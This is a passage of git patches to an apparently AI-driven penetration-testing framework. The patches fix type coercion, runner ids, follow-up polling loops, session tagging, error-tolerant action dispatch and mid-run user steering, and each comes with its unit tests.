leave as-is (don't stringify); unknown types: leave untouched. + return data + + def _handle_add_finding(action: Dict, ctx: ActionContext) -> Generator: """Create a secator finding from LLM-provided data. @@ -581,6 +681,10 @@ def _handle_add_finding(action: Dict, ctx: ActionContext) -> Generator: extra.update(unknown) finding_data['extra_data'] = extra + # Coerce AI-provided scalars to declared field types (LLMs send wrong-typed + # scalars, e.g. a bool field as the string "true") before validating. + finding_data = _coerce_finding_fields(cls, finding_data) + # Validate field types before instantiation errors = cls.validate_fields(finding_data) if errors: diff --git a/tests/unit/test_ai_actions.py b/tests/unit/test_ai_actions.py index 4449f8c47..1b351fdfb 100644 --- a/tests/unit/test_ai_actions.py +++ b/tests/unit/test_ai_actions.py @@ -10,7 +10,7 @@ from secator.ai.actions import ( ActionContext, dispatch_action, _handle_follow_up, _handle_shell, _handle_query, _handle_add_finding, _run_runner, _decrypt_dict, - _build_hooks_from_context + _build_hooks_from_context, _coerce_finding_fields ) from secator.output_types import Ai, Error, Info, Warning, Vulnerability, Url @@ -723,6 +723,77 @@ def test_add_finding_decrypts_values(self): self.assertIsInstance(results[1], Vulnerability) self.assertEqual(results[1].matched_at, 'http://t.com/search') + def test_coerce_finding_fields_scalar_types(self): + # LLMs send wrong-typed scalars (bool as "true", float/int as strings). + # The coercion helper fixes them to the declared field types. + data = _coerce_finding_fields( + Vulnerability, + { + 'name': 'SQL Injection', + 'verified': 'true', + 'cvss_score': '7.5', + 'severity_nb': '3', + }, + ) + self.assertIs(data['verified'], True) + self.assertIsInstance(data['verified'], bool) + self.assertEqual(data['cvss_score'], 7.5) + self.assertIsInstance(data['cvss_score'], float) + self.assertEqual(data['severity_nb'], 3) + self.assertIsInstance(data['severity_nb'], int) + # str fields are left untouched. + self.assertEqual(data['name'], 'SQL Injection') + # Coerced data validates clean. + self.assertEqual(Vulnerability.validate_fields(data), []) + + def test_add_finding_coerces_scalar_types(self): + # End-to-end: wrong-typed scalars flow through the handler and validate + # clean, producing a Vulnerability with the coerced bool/float values. + ctx = ActionContext(targets=['t.com'], model='m') + results = list( + _handle_add_finding( + { + 'action': 'add_finding', + '_type': 'vulnerability', + 'name': 'SQL Injection', + 'matched_at': 'http://t.com/login', + 'verified': 'true', + 'cvss_score': '7.5', + 'severity_nb': '3', + }, + ctx, + ) + ) + + # No validation Error: the sloppy types were coerced before validation. + self.assertEqual(len(results), 2) + vuln = results[1] + self.assertIsInstance(vuln, Vulnerability) + self.assertIs(vuln.verified, True) + self.assertIsInstance(vuln.verified, bool) + self.assertEqual(vuln.cvss_score, 7.5) + self.assertIsInstance(vuln.cvss_score, float) + + def test_add_finding_unparseable_bool_surfaces_error(self): + # An unparseable value must NOT be silently dropped; validation reports it. + ctx = ActionContext(targets=['t.com'], model='m') + results = list( + _handle_add_finding( + { + 'action': 'add_finding', + '_type': 'vulnerability', + 'name': 'SQL Injection', + 'matched_at': 'http://t.com/login', + 'verified': 'maybe', + }, + ctx, + ) + ) + + self.assertEqual(len(results), 1) + self.assertIsInstance(results[0], Error) + self.assertIn('verified', results[0].message) + @unittest.skipUnless(ADDONS_ENABLED['ai'], 'ai addon not installed') class TestRunBatch(unittest.TestCase): From 6541e6c388de18f9beef350762deccdf30f293e3 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Wed, 24 Jun 2026 18:38:35 +0200 Subject: [PATCH 097/129] fix(ai): stamp persisted runner id ({type}_id) on action item, not runner.id MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The UI's getRunner queries the persisted runner doc by its _id, which equals context.{type}_id (stamped by the on_init mongodb hook) — not runner.id (secator's internal id). So the RunnerCard showed "Runner not found" for ai-dispatched sub-runners even though they appear in History. Prefer the context id. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01P5vSjfkBuGAAHdKxHS3ySm --- secator/ai/actions.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/secator/ai/actions.py b/secator/ai/actions.py index a9c2c2b10..e503957ca 100644 --- a/secator/ai/actions.py +++ b/secator/ai/actions.py @@ -378,7 +378,11 @@ def _run_runner(action: Dict, ctx: ActionContext, runner_type: str) -> Generator # Emit even when silent (batch mode): silent only suppresses live console # chatter, but the action doc must still be yielded so it is persisted and # the UI can render a RunnerCard for it. - runner_id = runner.id or context.get(f"{runner_type}_id", "") + # Prefer the context id (`{type}_id`) the on_init hook stamped — that IS the + # persisted runner doc's `_id`, which is what the UI's getRunner queries. + # `runner.id` is secator's internal id and does NOT match the persisted doc, + # so the RunnerCard showed "Runner not found". + runner_id = context.get(f"{runner_type}_id", "") or runner.id yield Ai( content=name, ai_type=runner_type, From 2ba00c6b7c480cff0b5b06292c6ee0b2aeedbdd1 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Wed, 24 Jun 2026 18:52:22 +0200 Subject: [PATCH 098/129] fix(ai): scope remote follow_up poll to its own prompt to stop respawn loop RemoteBackend._poll_for_answer matched ANY answered follow_up doc in the session ({_type:"ai", ai_type:"follow_up", _context.session_id, status: "answered"}, limit:1, no sort). Across a multi-turn chat, previously answered follow_up docs accumulate, so the poll for a NEW follow_up immediately matched a STALE answered doc from a prior turn and returned its old answer. The loop then set that old answer as self.prompt, re-yielded Ai(ai_type="prompt") (the original prompt reappears), re-ran the whole turn, asked the follow_up again, re-matched the same stale doc -> an infinite respawn that re-runs scans and burns tokens. (On the very first turn with no prior answered docs it instead timed out cleanly, masking the deeper stale-match bug.) Fix: correlate the poll AND the timeout update to the SPECIFIC pending doc the worker is blocked on. A unique prompt_uuid is stamped into the pending follow_up's extra_data before persist and threaded _dispatch_and_collect -> _run_loop -> _prompt_and_redetect -> ask_user -> _poll_for_answer, which now filters on extra_data.prompt_uuid. A timeout flips only that doc to timed_out. The turn ends cleanly and nothing re-dispatches until the user explicitly sends a new message. The secator-ui AiChatPanel side was investigated and is clean: spawn() is only called from the explicit user send(); there is no watch/effect that re-spawns on done/timed_out. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01P5vSjfkBuGAAHdKxHS3ySm --- secator/ai/interactivity.py | 44 ++++++++++++++++++++--------- secator/tasks/ai.py | 28 ++++++++++++++++-- tests/unit/test_ai_interactivity.py | 40 ++++++++++++++++++++++++++ 3 files changed, 95 insertions(+), 17 deletions(-) diff --git a/secator/ai/interactivity.py b/secator/ai/interactivity.py index 98c2d7d5d..0610251b2 100644 --- a/secator/ai/interactivity.py +++ b/secator/ai/interactivity.py @@ -119,7 +119,7 @@ def build_pending_prompt(self, question, choices, session_id, prompt_type="follo ) def ask_user(self, question, choices, session_id, prompt_type="follow_up", **context): - answer = self._poll_for_answer(session_id, prompt_type) + answer = self._poll_for_answer(session_id, prompt_type, prompt_uuid=context.get("prompt_uuid")) if answer is None: return None @@ -135,26 +135,42 @@ def ask_user(self, question, choices, session_id, prompt_type="follow_up", **con # follow_up: return the answer text return {"answer": answer} - def _poll_for_answer(self, session_id, prompt_type): - """Poll DB for user answer until timeout.""" + def _poll_for_answer(self, session_id, prompt_type, prompt_uuid=None): + """Poll DB for the answer to the SPECIFIC pending prompt until timeout. + + The query MUST be scoped to the exact prompt the worker is currently + blocked on — identified by ``prompt_uuid`` (stamped into the pending doc's + ``extra_data.prompt_uuid`` before it was persisted). Matching only on + ``{session_id, status:"answered"}`` is a bug: a multi-turn conversation + accumulates *previously* answered follow-up docs, so an unscoped query + returns a STALE answer immediately, the worker re-injects that old answer + as a brand-new prompt, re-runs the whole turn, asks again, re-matches the + same stale doc — an infinite respawn loop that re-runs scans and burns + tokens. Scoping on ``prompt_uuid`` makes the poll resolve only THIS + prompt's own answer (and time out only THIS prompt's doc). + """ + base = { + "_type": "ai", + "ai_type": prompt_type, + # Correlate by the runner context's session_id: it's auto-stamped on + # every persisted item (item._context = self.context), so it's always + # present — unlike the top-level session_id field. + "_context.session_id": session_id, + } + if prompt_uuid: + base["extra_data.prompt_uuid"] = prompt_uuid + elapsed = 0 while elapsed < self.timeout: - results = self.query_engine.search({ - "_type": "ai", - "ai_type": prompt_type, - # Correlate by the runner context's session_id: it's auto-stamped on - # every persisted item (item._context = self.context), so it's always - # present — unlike the top-level session_id field. - "_context.session_id": session_id, - "status": "answered" - }, limit=1) + results = self.query_engine.search({**base, "status": "answered"}, limit=1) if results: return results[0].get("answer") sleep(self.poll_interval) elapsed += self.poll_interval - # Timeout: update finding status + # Timeout: flip ONLY this prompt's still-pending doc to timed_out, so a + # concurrent/older pending doc for the same session isn't disturbed. self.query_engine.update( - {"_type": "ai", "ai_type": prompt_type, "_context.session_id": session_id, "status": "pending"}, + {**base, "status": "pending"}, {"$set": {"status": "timed_out"}} ) return None diff --git a/secator/tasks/ai.py b/secator/tasks/ai.py index 242a900e5..3d7423426 100644 --- a/secator/tasks/ai.py +++ b/secator/tasks/ai.py @@ -1,6 +1,7 @@ # secator/tasks/ai.py """AI-powered penetration testing task.""" import json +import uuid from itertools import groupby from pathlib import Path from time import sleep @@ -408,6 +409,7 @@ def _run_loop(self) -> Generator: follow_up_choices = None stop_reason = None follow_up_ai = None + follow_up_prompt_uuid = None if tool_calls: actions = yield from self._process_tool_calls(tool_calls, ctx) @@ -424,6 +426,7 @@ def _run_loop(self) -> Generator: follow_up_choices = dispatch_result.get("follow_up_choices") stop_reason = dispatch_result.get("stop_reason") follow_up_ai = dispatch_result.get("follow_up_ai") + follow_up_prompt_uuid = dispatch_result.get("follow_up_prompt_uuid") if len(actions) > 1: yield Info(message=f"Executed {len(actions)} actions.") @@ -446,7 +449,7 @@ def _run_loop(self) -> Generator: # only happen once). Nothing to re-yield here — the frontend reads the # persisted doc. - result = self._prompt_and_redetect(follow_up_choices or []) + result = self._prompt_and_redetect(follow_up_choices or [], prompt_uuid=follow_up_prompt_uuid) if result is None: self._save_history() return @@ -798,6 +801,7 @@ def _dispatch_and_collect(self, actions, ctx): follow_up_choices = None stop_reason = None follow_up_ai = None + follow_up_prompt_uuid = None is_batch = len(actions) > 1 action_iter = _run_batch(actions, ctx) if is_batch else dispatch_action(actions[0], ctx) @@ -825,6 +829,14 @@ def _dispatch_and_collect(self, actions, ctx): follow_up_ai.session_id = self.session_id if not follow_up_ai.choices and follow_up_choices: follow_up_ai.choices = list(follow_up_choices) + # Stamp a unique correlation id so the poll resolves ONLY this + # prompt's own answer (not a stale answered follow_up from a + # prior turn, which would loop). Generated here (not reusing + # _uuid, which mongo may reassign to its _id on insert) and + # persisted in extra_data so it round-trips on read. + follow_up_prompt_uuid = str(uuid.uuid4()) + follow_up_ai.extra_data = { + **(follow_up_ai.extra_data or {}), "prompt_uuid": follow_up_prompt_uuid} self.add_result(result, print=not is_from_subagent) continue self.add_result(result, print=not is_from_subagent) @@ -869,7 +881,12 @@ def _dispatch_and_collect(self, actions, ctx): tool_result_str = maybe_encrypt(tool_result_str, self.encryptor) self.history.add_tool_result(tc_name, tc_id, tool_result_str) - return {"follow_up_choices": follow_up_choices, "stop_reason": stop_reason, "follow_up_ai": follow_up_ai} + return { + "follow_up_choices": follow_up_choices, + "stop_reason": stop_reason, + "follow_up_ai": follow_up_ai, + "follow_up_prompt_uuid": follow_up_prompt_uuid, + } # ------------------------------------------------------------------------- # History helpers @@ -897,12 +914,16 @@ def _add_assistant_to_history(self, content, tool_calls): # Follow-up / prompt # ------------------------------------------------------------------------- - def _prompt_and_redetect(self, choices): + def _prompt_and_redetect(self, choices, prompt_uuid=None): """Prompt user via backend and re-detect intent. Works for all backends: CLIBackend shows rich menus, RemoteBackend polls DB, AutoBackend returns None (exits). + ``prompt_uuid`` correlates the (remote) poll to the SPECIFIC pending + follow_up doc this call raised, so a stale answered follow_up from a prior + turn can't resolve it (which would re-inject the old prompt and loop). + Returns list of items to yield, or None to exit. """ response = self.backend.ask_user( @@ -915,6 +936,7 @@ def _prompt_and_redetect(self, choices): max_iterations=self.max_iterations, mode=self.mode, model=self.model, + prompt_uuid=prompt_uuid, ) if response is None: return None diff --git a/tests/unit/test_ai_interactivity.py b/tests/unit/test_ai_interactivity.py index 6060c5f16..8a1117ce5 100644 --- a/tests/unit/test_ai_interactivity.py +++ b/tests/unit/test_ai_interactivity.py @@ -100,6 +100,46 @@ def test_ask_user_polls_until_timeout(self, mock_sleep): # Should have called update to set timed_out mock_engine.update.assert_called_once() + def test_poll_scopes_query_to_prompt_uuid(self): + """The poll must correlate on the specific prompt's uuid. + + Regression test for the infinite-respawn loop: without scoping on + prompt_uuid, a stale answered follow_up from a prior turn resolves the + current wait immediately, the worker re-injects that old answer as a new + prompt and re-runs the turn forever. The query MUST include + extra_data.prompt_uuid so only THIS prompt's own answer resolves it. + """ + from secator.ai.interactivity import RemoteBackend + mock_engine = MagicMock() + mock_engine.search.return_value = [{"answer": "the right answer"}] + backend = RemoteBackend(timeout=60, query_engine=mock_engine, poll_interval=0.01) + + result = backend.ask_user("What next?", [], "session1", prompt_uuid="abc-123") + + self.assertEqual(result["answer"], "the right answer") + # The search query must be scoped to this prompt's uuid (else a stale + # answered follow_up from a prior turn would match -> loop). + search_query = mock_engine.search.call_args[0][0] + self.assertEqual(search_query.get("extra_data.prompt_uuid"), "abc-123") + self.assertEqual(search_query.get("status"), "answered") + + @patch('secator.ai.interactivity.sleep') + def test_timeout_update_scoped_to_prompt_uuid(self, mock_sleep): + """On timeout, only THIS prompt's pending doc is flipped to timed_out.""" + from secator.ai.interactivity import RemoteBackend + mock_engine = MagicMock() + mock_engine.search.return_value = [] # never answered + mock_engine.update = MagicMock() + backend = RemoteBackend(timeout=5, query_engine=mock_engine, poll_interval=5) + + result = backend.ask_user("What next?", [], "session1", prompt_uuid="abc-123") + + self.assertIsNone(result) + mock_engine.update.assert_called_once() + update_query = mock_engine.update.call_args[0][0] + self.assertEqual(update_query.get("extra_data.prompt_uuid"), "abc-123") + self.assertEqual(update_query.get("status"), "pending") + @patch('secator.ai.interactivity.sleep') def test_ask_user_returns_on_second_poll(self, mock_sleep): from secator.ai.interactivity import RemoteBackend From f02bef9736e3e99b21d709f149cbabf2211e165d Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Wed, 24 Jun 2026 19:15:59 +0200 Subject: [PATCH 099/129] feat(ai): stamp conversation session_id onto AI-spawned sub-runners AI-spawned sub-runners (task/workflow/scan) need context.session_id set so their persisted runner docs are queryable by conversation. The ai task's session_id is often derived (from session_name / the runner id) and is not guaranteed to live in self.context, so sub-runners did NOT carry it. Stamp it in _get_result_context from ActionContext.session_id (without overwriting an existing one). Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01P5vSjfkBuGAAHdKxHS3ySm --- secator/ai/actions.py | 17 +++++++++-- tests/unit/test_ai_actions.py | 54 +++++++++++++++++++++++++++++++++++ 2 files changed, 68 insertions(+), 3 deletions(-) diff --git a/secator/ai/actions.py b/secator/ai/actions.py index e503957ca..03a117edd 100644 --- a/secator/ai/actions.py +++ b/secator/ai/actions.py @@ -404,15 +404,26 @@ def _run_runner(action: Dict, ctx: ActionContext, runner_type: str) -> Generator def _get_result_context(action, ctx): - """Get result context from action""" - ctx = ctx.context.copy() + """Get result context from action. + + Always stamps the ai task's ``session_id`` (the conversation id) onto the + derived context. The ai task's ``self.session_id`` may be derived (from + ``session_name`` / the runner id) and is therefore not guaranteed to already + live in ``ctx.context``. Stamping it here means every sub-runner (task / + workflow / scan) dispatched by the ai task persists a runner doc whose + ``context.session_id`` matches the conversation — so the runners spawned by a + conversation are queryable by that conversation's session_id. + """ + new_ctx = ctx.context.copy() + if ctx.session_id and not new_ctx.get("session_id"): + new_ctx["session_id"] = ctx.session_id action_context = {} tool_call_id = action.get("tool_call_id") tool_call_name = action.get("tool_call_name") if tool_call_id: action_context["tool_call_id"] = tool_call_id action_context["tool_call_name"] = tool_call_name - return {**ctx, **action_context} + return {**new_ctx, **action_context} def _handle_task(action: Dict, ctx: ActionContext) -> Generator: diff --git a/tests/unit/test_ai_actions.py b/tests/unit/test_ai_actions.py index 1b351fdfb..735867076 100644 --- a/tests/unit/test_ai_actions.py +++ b/tests/unit/test_ai_actions.py @@ -355,6 +355,60 @@ def test_run_runner_propagates_hooks_and_emits_runner_id(self, mock_build_hooks, self.assertEqual(ai_items[0].extra_data.get('runner_id'), 'runner123') self.assertEqual(ai_items[0].extra_data.get('runner_type'), 'task') + @patch('secator.ai.actions.TemplateLoader') + @patch('secator.ai.actions.Task') + @patch('secator.ai.actions._build_hooks_from_context') + def test_run_runner_propagates_session_id(self, mock_build_hooks, mock_task_cls, _mock_tpl): + """The dispatched sub-runner's context must carry the ai task's session_id + (the conversation id) so its persisted runner doc is queryable by the + conversation. session_id may be derived (not already in ctx.context), so + it must be stamped from ctx.session_id.""" + mock_build_hooks.return_value = {} + mock_runner = MagicMock() + mock_runner.id = 'runner123' + mock_runner.reports_folder = None + mock_runner.__iter__.return_value = iter([]) + mock_task_cls.return_value = mock_runner + + # session_id lives on the ActionContext but NOT in context (it is derived) + ctx = ActionContext( + targets=['t.com'], model='m', + context={'workspace_id': 'ws1', 'drivers': ['mongodb']}, + session_id='conv-abc-123', + ) + action = {'action': 'task', 'name': 'nmap', 'targets': ['10.0.0.1']} + + list(_run_runner(action, ctx, 'task')) + + _, kwargs = mock_task_cls.call_args + sub_context = kwargs.get('context', {}) + self.assertEqual(sub_context.get('session_id'), 'conv-abc-123') + self.assertEqual(sub_context.get('workspace_id'), 'ws1') + + @patch('secator.ai.actions.TemplateLoader') + @patch('secator.ai.actions.Task') + @patch('secator.ai.actions._build_hooks_from_context') + def test_run_runner_preserves_existing_session_id(self, mock_build_hooks, mock_task_cls, _mock_tpl): + """A session_id already present in ctx.context must not be overwritten.""" + mock_build_hooks.return_value = {} + mock_runner = MagicMock() + mock_runner.id = 'runner123' + mock_runner.reports_folder = None + mock_runner.__iter__.return_value = iter([]) + mock_task_cls.return_value = mock_runner + + ctx = ActionContext( + targets=['t.com'], model='m', + context={'workspace_id': 'ws1', 'session_id': 'from-context'}, + session_id='from-ctx-field', + ) + action = {'action': 'task', 'name': 'nmap', 'targets': ['10.0.0.1']} + + list(_run_runner(action, ctx, 'task')) + + _, kwargs = mock_task_cls.call_args + self.assertEqual(kwargs.get('context', {}).get('session_id'), 'from-context') + @unittest.skipUnless(ADDONS_ENABLED['ai'], 'ai addon not installed') class TestBuildHooksFromContext(unittest.TestCase): From 8c731a3a2c5f8d5e5ff29ba21e861a945f2c1c32 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Thu, 25 Jun 2026 18:44:08 +0200 Subject: [PATCH 100/129] fix(ai): keep the AI loop alive when an action dispatch raises MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit A Python error during an iteration (e.g. TypeError: 'str' object is not a mapping from a malformed LLM action/opts) previously propagated out of _dispatch_and_collect, was caught by the loop's broad except Exception, and killed the task. Now each action's dispatch is wrapped so the failure becomes that tool call's result fed back to the LLM, and the loop continues. - Add safe_dispatch_action(): wraps dispatch_action and, on Exception, yields an Error carrying the action's tool_call_id/tool_call_name in _context. Only Exception is caught — KeyboardInterrupt/SystemExit/GeneratorExit propagate. - The Error groups into a tool result via the existing format_tool_result / add_tool_result path, so the model sees "Action failed with error: : \n. Fix the issue and try again." next turn. - Use safe_dispatch_action for the single-action path in _dispatch_and_collect and inside _run_batch's run_single, so one action's failure no longer aborts the turn or the other batch actions. - max_iterations still bounds a persistently-erroring model: each failed turn increments the iteration counter as before. - Drop a pre-existing unused follow_up_ai assignment to keep flake8 green. - Tests: a raising handler yields an Error, appends the error to history (LLM-visible), and continues without raising; KeyboardInterrupt propagates. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01P5vSjfkBuGAAHdKxHS3ySm --- secator/ai/actions.py | 60 ++++++++++++++++++- secator/tasks/ai.py | 11 ++-- tests/unit/test_ai_loop.py | 115 ++++++++++++++++++++++++++++++++++++- 3 files changed, 180 insertions(+), 6 deletions(-) diff --git a/secator/ai/actions.py b/secator/ai/actions.py index 03a117edd..110e935f0 100644 --- a/secator/ai/actions.py +++ b/secator/ai/actions.py @@ -306,6 +306,60 @@ def dispatch_action(action: Dict, ctx: ActionContext) -> Generator: yield Warning(message=f"Unknown action: {action_type}", _context=context) +def _format_action_error(e: Exception, max_chars: int = 400) -> str: + """Build a concise, LLM-facing error string for a failed action dispatch. + + Combines the exception type + message with the last few traceback frames so + the model can see *where* it failed, then truncates to a sane length so a + deep traceback can't blow up the next prompt's token budget. + """ + import traceback + + errtype = type(e).__name__ + msg = str(e) + head = f"{errtype}: {msg}" if msg else errtype + + # Keep only the tail of the traceback (last ~3 frames) — that's where the + # actual failure is, and it keeps the feedback compact. + tb_lines = traceback.format_exc().strip().splitlines() + tb_tail = "\n".join(tb_lines[-6:]) if tb_lines else "" + + detail = f"{head}\n{tb_tail}" if tb_tail else head + if len(detail) > max_chars: + detail = detail[:max_chars] + "…(truncated)" + return ( + f"Action failed with error: {detail}\n" + "Fix the issue and try again." + ) + + +def safe_dispatch_action(action: Dict, ctx: ActionContext) -> Generator: + """Dispatch a single action, converting any raised ``Exception`` into an + ``Error`` output item instead of letting it abort the AI loop. + + A Python error during a handler (e.g. ``TypeError: 'str' object is not a + mapping`` from a malformed LLM action/opts) must NOT kill the main loop. We + wrap the per-action generator so the failure becomes an ``Error`` carrying + the action's ``tool_call_id``/``tool_call_name`` in ``_context`` — that lets + the caller group it into a tool result and feed the error back to the LLM so + it can correct itself on the next turn. + + Only ``Exception`` is caught: ``KeyboardInterrupt`` / ``SystemExit`` / + ``GeneratorExit`` (all ``BaseException`` subclasses) propagate so legitimate + control-flow and generator close are never swallowed. + """ + import traceback as _traceback + try: + yield from dispatch_action(action, ctx) + except Exception as e: # noqa: BLE001 - per-action resilience: feed error back to LLM, never abort the loop + context = _get_result_context(action, ctx) + yield Error( + message=_format_action_error(e), + traceback=_traceback.format_exc(), + _context=context, + ) + + def _run_runner(action: Dict, ctx: ActionContext, runner_type: str) -> Generator: """Execute a secator task or workflow. @@ -789,8 +843,12 @@ def _run_batch(actions: List[Dict], ctx: ActionContext) -> Generator: progress_ids = {} def run_single(act: Dict, idx: int) -> Dict: + # Use safe_dispatch_action so one action raising doesn't abort the whole + # batch (the executor future.result() would otherwise re-raise into the + # main loop). The error is captured as an Error item attributed to that + # action's tool_call_id and fed back to the LLM like any other result. results = [] - for item in dispatch_action(act, batch_ctx): + for item in safe_dispatch_action(act, batch_ctx): if isinstance(item, Ai) and item.ai_type == "token_usage": if progress: extra = item.extra_data or {} diff --git a/secator/tasks/ai.py b/secator/tasks/ai.py index 3d7423426..cc1e9f74b 100644 --- a/secator/tasks/ai.py +++ b/secator/tasks/ai.py @@ -16,7 +16,7 @@ from secator.runners import PythonRunner from secator.rich import console, maybe_status from secator.ai.actions import ( - ActionContext, check_guardrails, dispatch_action, _run_batch, _decrypt_dict, _build_action_display + ActionContext, check_guardrails, safe_dispatch_action, _run_batch, _decrypt_dict, _build_action_display ) from secator.ai.guardrails import PermissionEngine from secator.ai.interactivity import create_backend, RemoteBackend @@ -408,7 +408,6 @@ def _run_loop(self) -> Generator: # Process tool calls → validated actions follow_up_choices = None stop_reason = None - follow_up_ai = None follow_up_prompt_uuid = None if tool_calls: @@ -425,7 +424,6 @@ def _run_loop(self) -> Generator: dispatch_result = yield from self._dispatch_and_collect(actions, ctx) follow_up_choices = dispatch_result.get("follow_up_choices") stop_reason = dispatch_result.get("stop_reason") - follow_up_ai = dispatch_result.get("follow_up_ai") follow_up_prompt_uuid = dispatch_result.get("follow_up_prompt_uuid") if len(actions) > 1: @@ -804,7 +802,12 @@ def _dispatch_and_collect(self, actions, ctx): follow_up_prompt_uuid = None is_batch = len(actions) > 1 - action_iter = _run_batch(actions, ctx) if is_batch else dispatch_action(actions[0], ctx) + # safe_dispatch_action wraps each action's dispatch so a Python error during + # a handler (e.g. a malformed LLM action/opts raising TypeError) becomes an + # Error item fed back to the LLM as that tool call's result, instead of + # propagating out and killing the main loop. _run_batch already wraps each + # of its actions the same way internally. + action_iter = _run_batch(actions, ctx) if is_batch else safe_dispatch_action(actions[0], ctx) collected = [] for result in action_iter: diff --git a/tests/unit/test_ai_loop.py b/tests/unit/test_ai_loop.py index bbc3a0cd1..b628bc1f6 100644 --- a/tests/unit/test_ai_loop.py +++ b/tests/unit/test_ai_loop.py @@ -355,7 +355,7 @@ def add_tool_result(self, *a, **k): def _fake_dispatch_action(action, c): yield follow_up - with patch("secator.tasks.ai.dispatch_action", _fake_dispatch_action): + with patch("secator.tasks.ai.safe_dispatch_action", _fake_dispatch_action): gen = AiTask._dispatch_and_collect(fake_self, [{"tool_call_id": "tc_fu"}], ctx) yielded = list(gen) return yielded, persisted, follow_up @@ -1015,5 +1015,118 @@ def test_multi_turn_auto_loop(self): self.assertIsNotNone(stop_reason) +@unittest.skipUnless(HAS_AI, "ai addon required") +class TestLoopResilientToActionErrors(unittest.TestCase): + """A Python error during an action dispatch must NOT kill the main loop. + + It must be caught, turned into an Error item fed back to the LLM as that + tool call's result, and the loop must continue. + """ + + def test_safe_dispatch_catches_exception_and_feeds_back(self): + """safe_dispatch_action converts a raised Exception into an Error item + carrying the action's tool_call_id, instead of propagating.""" + from secator.ai.actions import safe_dispatch_action + from secator.output_types import Error + + ctx = _make_ctx(interactive="auto") + action = { + "action": "shell", + "command": "curl http://10.0.0.1", + "tool_call_id": "tc_err", + "tool_call_name": "run_shell", + } + + # Make the shell handler raise the exact failure from the spec. + def _boom(*a, **k): + raise TypeError("'str' object is not a mapping") + + with patch("secator.ai.actions._handle_shell", _boom): + # Must NOT raise. + results = list(safe_dispatch_action(action, ctx)) + + errors = [r for r in results if isinstance(r, Error)] + self.assertEqual(len(errors), 1, "expected exactly one Error item") + err = errors[0] + # LLM-facing feedback phrasing + the exception type/message. + self.assertIn("Action failed with error", err.message) + self.assertIn("TypeError", err.message) + self.assertIn("'str' object is not a mapping", err.message) + self.assertIn("try again", err.message.lower()) + # Attributed to the failing tool call so it groups into that tool result. + self.assertEqual(err._context.get("tool_call_id"), "tc_err") + self.assertEqual(err._context.get("tool_call_name"), "run_shell") + + def test_does_not_catch_keyboardinterrupt(self): + """Control-flow exceptions (BaseException) must propagate, not be swallowed.""" + from secator.ai.actions import safe_dispatch_action + + ctx = _make_ctx(interactive="auto") + action = {"action": "shell", "command": "x", "tool_call_id": "tc", "tool_call_name": "run_shell"} + + def _interrupt(*a, **k): + raise KeyboardInterrupt() + yield # pragma: no cover - make it a generator + + with patch("secator.ai.actions._handle_shell", _interrupt): + with self.assertRaises(KeyboardInterrupt): + list(safe_dispatch_action(action, ctx)) + + def test_dispatch_and_collect_continues_and_feeds_history(self): + """Drive the real _dispatch_and_collect: a raising action yields an Error, + appends an error result to history (LLM-visible), and does NOT raise.""" + from secator.tasks.ai import ai as AiTask + from secator.output_types import Error + + tool_results = [] # (name, tc_id, content) tuples appended to history + + class _FakeHistory: + def get_action_budget(self, model): + return 10000 + + def add_tool_result(self, name, tc_id, content): + tool_results.append((name, tc_id, content)) + + persisted = [] + fake_self = MagicMock() + fake_self.backend = CLIBackend() + fake_self.session_id = "sess-err" + fake_self.model = "test-model" + fake_self.reports_folder = None + fake_self.encryptor = None + fake_self.history = _FakeHistory() + fake_self.add_result = lambda item, **kw: persisted.append(item) + + ctx = MagicMock() + ctx.results = [] + + action = { + "action": "shell", + "command": "curl http://10.0.0.1", + "tool_call_id": "tc_err", + "tool_call_name": "run_shell", + } + + def _boom(*a, **k): + raise TypeError("'str' object is not a mapping") + yield # pragma: no cover + + with patch("secator.ai.actions._handle_shell", _boom): + # Single action → safe_dispatch_action path. Must not raise. + gen = AiTask._dispatch_and_collect(fake_self, [action], ctx) + yielded = list(gen) + + # An Error item was yielded to the caller (visible in console / persisted). + errors = [r for r in yielded if isinstance(r, Error)] + self.assertEqual(len(errors), 1) + + # The error reached the LLM-visible history as this tool call's result. + self.assertEqual(len(tool_results), 1) + name, tc_id, content = tool_results[0] + self.assertEqual(tc_id, "tc_err") + self.assertIn("error", content.lower()) + self.assertIn("'str' object is not a mapping", content) + + if __name__ == "__main__": unittest.main() From 5968c95ffb4225cbf3b8ea75b35d1acc4cca23fd Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Thu, 25 Jun 2026 20:03:58 +0200 Subject: [PATCH 101/129] feat(ai): mid-flight steering (interrupt + redirect) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Add cooperative mid-flight steering to the Workspace AI Assistant: a user can send a message WHILE the agent is running, and the worker picks it up at the next loop checkpoint to redirect the next turn. Distinct from the hard Stop button (which revokes the Celery task). - RemoteBackend.poll_steers(session_id): drains pending `ai_type:"steer"` channel docs, returns their content oldest-first, marks them consumed so each injects exactly once. Robust — backend errors return [] (never crash). - _poll_for_answer: a steer breaks a blocked follow-up wait (returns the steer content as the answer) so the loop redirects instead of stalling; follow-up semantics intact for the no-steer case. - _run_loop: _drain_steers() at the top of each iteration appends each steer to history as `[User interjected]: …` and echoes a steer Ai item (with session_id so it persists in the transcript). - output_types/ai.py: render `steer` ai_type in the CLI transcript. - Tests: poll_steers drain/consume/robustness, steer-breaks-wait, _drain_steers inject-into-history, no-steer no-op, non-remote no-op. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01P5vSjfkBuGAAHdKxHS3ySm --- secator/ai/interactivity.py | 58 +++++++++++++++++++ secator/output_types/ai.py | 1 + secator/tasks/ai.py | 38 +++++++++++++ tests/unit/test_ai_interactivity.py | 86 +++++++++++++++++++++++++++-- tests/unit/test_ai_loop.py | 85 ++++++++++++++++++++++++++++ 5 files changed, 264 insertions(+), 4 